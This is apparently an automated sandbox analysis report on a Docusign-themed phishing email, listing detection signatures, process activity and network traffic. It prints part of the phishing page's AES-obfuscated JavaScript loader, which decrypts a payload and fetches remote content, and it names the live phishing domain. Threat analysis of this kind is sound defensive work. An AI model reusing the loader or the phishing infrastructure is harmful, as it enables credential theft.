Edit tour

Windows Analysis Report
Complete with Docusign_ Remittance Advice .pdf(1).eml

Overview

General Information

Sample name:	Complete with Docusign_ Remittance Advice .pdf(1).eml
Analysis ID:	1545547
MD5:	21ceb47d9bab6a7394fa0eb2dc385fc9
SHA1:	c97eb2e6a3073729107aadd14704dc01338a6451
SHA256:	cc62f19a6dbd5fd89c935ca9b39dfb21d4fdb9c7e1f87bc8c413799f188efa06
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish70

AI detected landing page (webpage, office document or email)

AI detected potential phishing Email

Phishing site detected (based on shot match)

Phishing site or detected (based on various text indicators)

Suspicious MSG / EML detected (based on various text indicators)

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Stores large binary data to the registry

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 4212 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Complete with Docusign_ Remittance Advice .pdf(1).eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6964 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B015F3D5-ACDB-4645-B3DB-CECD105E71F8" "390A14B3-E248-49BF-B53B-CC50CDF4E487" "4212" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 7144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct=6fc3f7d8-705f-45b1-859d-ee6b3e4ec813&er=2d989881-8a05-4258-ae3f-e6cf5573670f MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1928,i,2976347971285413833,15598093970115178483,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
2.6.pages.csv	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 4212, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish70

Source: Yara match

File source: 2.6.pages.csv, type: HTML

Phishing site detected (based on shot match)

Source: https://cosiosos.com.de/7i2ko/

Matcher: Template: captcha matched

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.2

OCR Text: Done! Select Finish to send the completed document OTHER ACTIONS FINISH Docusign Envelope BBtE6BOA-3CE34DCF-90AA-OFB4E6AB9664 docusign Accounting Department shared a PDF via DocuSign secure Remittance Advice.pdf TAP HERE TO VIEW DOCUMENT? View with DocuSign: Remittance Advice.pdf Do Not Share This Email This email contains a secure link to DocuSign. Please do not share this email, link, or access code with others. docusign Cl-jcnge Language - English (LIS) Y' Terms Of & Privacy Y I Copyright Z Oocvsignlnc: V2R

Suspicious MSG / EML detected (based on various text indicators)

Source: MSG / EML

OCR Text: IS) docusign Matt Davies sent you a document to review and sign. REVIEW DOCUMENT Matt Davies matt.davies@lsaacteam.com clounsbury@phoenixcrane.com, Complete with Docusign: Remittance Advice .pdf Thank You, Matt Davies Do Not Share This Email This email contains a secure link to Docusign. Please do not share this email, link, or access code with others. Alternate Signing Method Visit Docusign.com, click 'Access Documents', and enter the security code: IAIOF8A2BC914DE887D662C09ADFE3717 About Docusign Sign documents electronically in just minutes. It's safe, secure, and legally binding. Whether you're in an office, at home, on-the-go -- or even across the globe -- Docusign provides a professional trusted solution for Digital Transaction ManagementTM. Questions about the Document? If you need to modify the document or have questions about the details in the document, please reach out to the sender by emailing them directly. Stop receiving this email Report this email or read more about Declining to sign and Managing notifications. If you have trouble signing, visit "How to Sign a Document" on our Docusign Support Center, or browse our Docusign Community for more information. Download the Docusign App This message was sent to you by Matt Davies who is using the Docusign Electronic Signature Service. If you would rather not receive email from this sender you may contact the sender with your request.

Source: https://cosiosos.com.de/7i2ko/

HTTP Parser: Number of links: 0

Source: https://cosiosos.com.de/7i2ko/

HTTP Parser: Base64 decoded: {"a":"A3KVglQ3qTtA\/QD0GP0e4F6I3\/qfFmpclAotssmi7LQ=","c":"2e2961b74d04e46119603ea02e65b13a","b":"0c719901e6775460a9456a9df3bb57a86771c97f38249875105b084bbf064bedf213c23cd16a41c477197fa97e5a1126a4bb3b7bbdd8dc2b704a13c76145cc99790e78c5c00ee5af47a45794336c4...

Source: https://cosiosos.com.de/7i2ko/

HTTP Parser: Title: Custom Creations Car Society - flifeserieso.ru does not match URL

Source: https://docucdn-a.akamaihd.net/production/1ds/widgets/@ds/signing/24.10.26-8/signing-conversations.js?cs=7aa34814	HTTP Parser: /! for license information please see signing-conversations.js.license.txt /!function(){var e,t,n,r,o,i={57279:function(e,t,n){"use strict";var r=n(5946);object.defineproperty(t,"__esmodule",{value:!0}),t.default=void 0;var o=r(n(61240)),i=r(n(20271)),a=r(n(43563)),u=r(n(70533)),s=function(){function e(){(0,i.default)(this,e),(0,u.default)(this,"queue",new array),(0,u.default)(this,"workingonpromise",!1)}return(0,a.default)(e,[{key:"enqueue",value:function(e){var t=this;return new o.default((function(n,r){t.queue.push({worker:e,resolve:n,reject:r}),t.dequeue()}))}},{key:"dequeue",value:function(){var e=this;if(this.workingonpromise)return!1;var t=this.queue.shift();if(!t)return!1;try{this.workingonpromise=!0,t.worker().then((function(n){e.workingonpromise=!1,t.resolve(n),e.dequeue()})).catch((function(n){e.workingonpromise=!1,t.reject(n),e.dequeue()}))}catch(e){this.workingonpromise=!1,t.reject(e),this.dequeue()}return!0}}]),e}();t.default=s},74087:function(e,t,n){"use strict";var r=n(50697);object.definep...
Source: https://cosiosos.com.de/7i2ko/	HTTP Parser: asyncfunction cacophony(cabdriver) {var {a,b,c,d} = json.parse(cabdriver); return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d),cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8,iterations: 999}),{iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8); } (async()=> {document.write(await cacophony(await (await fetch(awaitcacophony(atob(`eyjhijoiqtnlvmdsutnxvhrbxc9rrdbhudblney2stncl3fmrm1wy2xbb3rzc21pn0xrpsisimmioiiyzti5njfinzrkmdrlndyxmtk2mdnlytayzty1yjezysisimiioiiwyzcxotkwmwu2nzc1ndywytk0ntzhowrmm2jintdhody3nzfjotdmmzgyndk4nzuxmdvimdg0ymjmmdy0ymvkzjixm2mym2nkmtzhndfjndc3mtk3zme5n2u1ytexmjzhngjim2i3ymjkzdhkyzjinza0ytezyzc2mtq1y2m5otc5mgu3ogm1yzawzwu1ywy0n2e0ntc5ndmznmm0ogu5zwjkotnkzwzlmje2nzvizdg3ztkymwzlntkxyzixyjhmnmu3njk1zmi1nzi1ndk3y2rjmdlknjq2ytrkm2e3mjdlntvkn2eyzjcyy2y4n2jimzi0n2e1mzc2zgqzngzmyjuxmzbizta1nmjjndewmtjhywy3ody3oguwotaxnjjkztrhn2mxzda4ytjizdhmyjlhnwuymdqzmdi3mdcxyta4odjizdkxymzhngnmnwu5ytc...

Source: https://na4.docusign.net/Signing/?ti=049c81426da24951a14c1de4df20f331	HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/	HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/	HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/	HTTP Parser: No favicon

Source: https://cosiosos.com.de/7i2ko/

HTTP Parser: No <meta name="author".. found

Source: https://cosiosos.com.de/7i2ko/

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49874 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 26MB later: 36MB

Source: Joe Sandbox View	IP Address: 104.18.66.57 104.18.66.57
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=taDD3xpuybGbbSO&MD=rvYMRxo8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ds_arya_wrapper.min.js?f=1 HTTP/1.1Host: a.docusign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://na4.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ds_arya_wrapper.min.js?f=1 HTTP/1.1Host: a.docusign.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ds_a=7cde590a-d546-483f-9ea5-7c08b7dcb3d1
Source: global traffic	HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2I1ODItMDljMGVjNmQwNThmOGQtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjdjNGEwIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304143235 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://na4.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://na4.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2U3NTItMDhmMzEzMjkxYmRhYTYtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjgwODAxIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjYyNDRiYjllMzFkZjZkOGRjZjhjNDEzNWRlZmU2NDYwIn19&ip=1&_=1730304143236 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://na4.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://na4.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2U3NTItMDhmMzEzMjkxYmRhYTYtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjgwODAxIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjYyNDRiYjllMzFkZjZkOGRjZjhjNDEzNWRlZmU2NDYwIn19&ip=1&_=1730304143236 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2I1ODItMDljMGVjNmQwNThmOGQtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjdjNGEwIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304143235 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /datafiles/MUGKFLCdCtxUSgrSTyhbw.json HTTP/1.1Host: cdn.optimizely.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://na4.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://na4.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /datafiles/MUGKFLCdCtxUSgrSTyhbw.json HTTP/1.1Host: cdn.optimizely.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJDb25zZW50IEFjY2VwdGVkIiwicHJvcGVydGllcyI6IHsiJG9zIjogIldpbmRvd3MiLCIkYnJvd3NlciI6ICJDaHJvbWUiLCIkcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwiJHNjcmVlbl9oZWlnaHQiOiAxMDI0LCIkc2NyZWVuX3dpZHRoIjogMTI4MCwibXBfbGliIjogIndlYiIsImRpc3RpbmN0X2lkIjogIjMzYWY2NmYxNGQ3ZDZkMTZmYjM5OTA1NzIzYmVlY2QwYjQ2NjIyMTciLCIkaW5pdGlhbF9yZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCJQb3N0IFNpZ25pbmcgRGlhbG9nIjogIlNhdmUgQSBDb3B5IiwiRW52ZWxvcGUgSUQiOiAiYzUyNGZiMWRjMDNlODkyZjZiOTg1NDQxYjY1ZTRhMTJhZmJlZGQxOSIsIlJlY2lwaWVudCBJRCI6ICJjOGRhNzlhZjE5NmI0ODM5OGJiNTE1NWVlZjMwMTFiNDViYWRkYzE2IiwiU2lnbmVyIElEIjogIjMzYWY2NmYxNGQ3ZDZkMTZmYjM5OTA1NzIzYmVlY2QwYjQ2NjIyMTciLCJCcm93c2VyIFZlcnNpb24iOiAiQ2hyb21lIDEzMC4wIiwiRmllbGRzIFJlY2lwaWVudCI6ICIwIiwiRmllbGRzIEVudmVsb3BlIjogIjEiLCJSZXF1aXJlZCBGaWVsZHMiOiAiMCIsIkxhbmd1YWdlIjogImVuIiwiU2lnbmluZyBBY2Nlc3MiOiAiUmVtb3RlIiwiQXV0b05hdiBSdWxlcyI6ICJGaWVsZHNSZXF1aXJlZCIsIlJlY2lwaWVudHMiOiAiNTAiLCJSZWNpcGllbnQgVHlwZSI6ICJTaWduZXIiLCJSZWNpcGllbnRzIFdvcmtmbG93IjogIjUwIiwiU2VuZGVyIEFjY291bnQgSUQiOiAiOGIwNjI1ODhiMjM4NTUzODA4OTJmOGJiNDllNzhmMmNmYjA2MjhkMSIsIkFjY291bnQgSUQiOiAiODgwMzlhNThkYjY5ODA0ZjQwMmY5MjUyODg4MmNjZDE5YjU3ZDc5OCIsIkJyYW5kZWQiOiBmYWxzZSwiQnJhbmRlZCBMb2dvIjogZmFsc2UsIkJyYW5kZWQgQ29sb3IiOiBmYWxzZSwiQnJhbmRlZCBGaWxlIjogZmFsc2UsIkNvbmNhdCBNb2RlIjogZmFsc2UsIkF0dGFjaG1lbnQgQWRkZWQiOiBmYWxzZSwiQXR0YWNobWVudCBDb3VudCI6IDAsIkF0dGFjaG1lbnQgTWV0aG9kIjogbnVsbCwiUGFnZXMiOiAiMSIsIkRvY3MiOiAiMSIsIkF1dGhlbnRpY2F0aW9uIjogIk5vbmUiLCJMb2dnZWQgSW4iOiBmYWxzZSwiQ29uc2VudCBTaG93biI6IHRydWUsIkFjY291bnQgSG9sZGVyIjogZmFsc2UsIkZpZWxkIFNpZ25hdHVyZSI6IGZhbHNlLCJGaWVsZCBJbml0aWFsIjogZmFsc2UsIkZpZWxkIFN0YW1wIjogZmFsc2UsIkZpZWxkIERhdGUiOiBmYWxzZSwiRmllbGQgVGV4dCI6IGZhbHNlLCJGaWVsZCBOYW1lIjogZmFsc2UsIkZpZWxkIENvbXBhbnkiOiBmYWxzZSwiRmllbGQgVGl0bGUiOiBmYWxzZSwiRmllbGQgRW1haWwiOiBmYWxzZSwiRmllbGQgQ2hlY2tib3giOiBmYWxzZSwiRmllbGQgUmFkaW8iOiBmYWxzZSwiRmllbGQgRHJvcGRvd24iOiBmYWxzZSwiRmllbGQgQXR0YWNobWVudCI6IGZhbHNlLCJGaWVsZCBOb3RlIjogZmFsc2UsIkZpZWxkIEFwcHJvdmUiOiBmYWxzZSwiRmllbGQgRGVjbGluZSI6IGZhbHNlLCJGaWVsZCBWaWV3IjogZmFsc2UsIkZpZWxkIEZvcm11bGEiOiBmYWxzZSwiVGVtcGxhdGUgVXNlZCI6IGZhbHNlLCJTdXBwbGVtZW50YWwgRG9jdW1lbnQgQ291bnQiOiAwLCJTdXBwbGVtZW50YWwgRG9jdW1lbnQgUmVxdWlyZW1lbnRzIjogIiIsIkF1dG9Db21wbGV0ZSBFbmFibGVkIjogZmFsc2UsInByb2R1Y3QgYXJlYSI6ICJTaWduaW5nIiwiRnJlZWZvcm0iOiBmYWxzZSwiU2lnbmluZ0V4dGVuc2lvbnMiOiB0cnVlLCJCcm93c2VyIFdpZHRoIEluaXRpYWwiOiAxMjgwLCJCcm93c2VyIEhlaWdodCBJbml0aWFsIjogOTA3LCJCcm93c2VyIFdpZHRoIjogMTI4MCwiQnJvd3NlciBIZWlnaHQiOiA5MDcsIlNlc3Npb24gQWJvdXQgdG8gRXhwaXJlIENvdW50IjogMCwiVG9wIEZpbmlzaCBIaWRkZW4iOiBmYWxzZSwiUG93ZXJGb3JtIjogZmFsc2UsIkEvQiBUZXN0cyI6ICJpZnJhbWVsZXNzOiBtb2JpbGUiLCJQb3dlcmZvcm0gU2VuZGVyIjogZmFsc2UsIlBsYXRmb3JtIjogIldlYiBBcHAiLCJEU19BIjogIjdjZGU1OTBhLWQ1NDYtNDgzZi05ZWE1LTdjMDhiN2RjYjNkMSIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304166882 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="
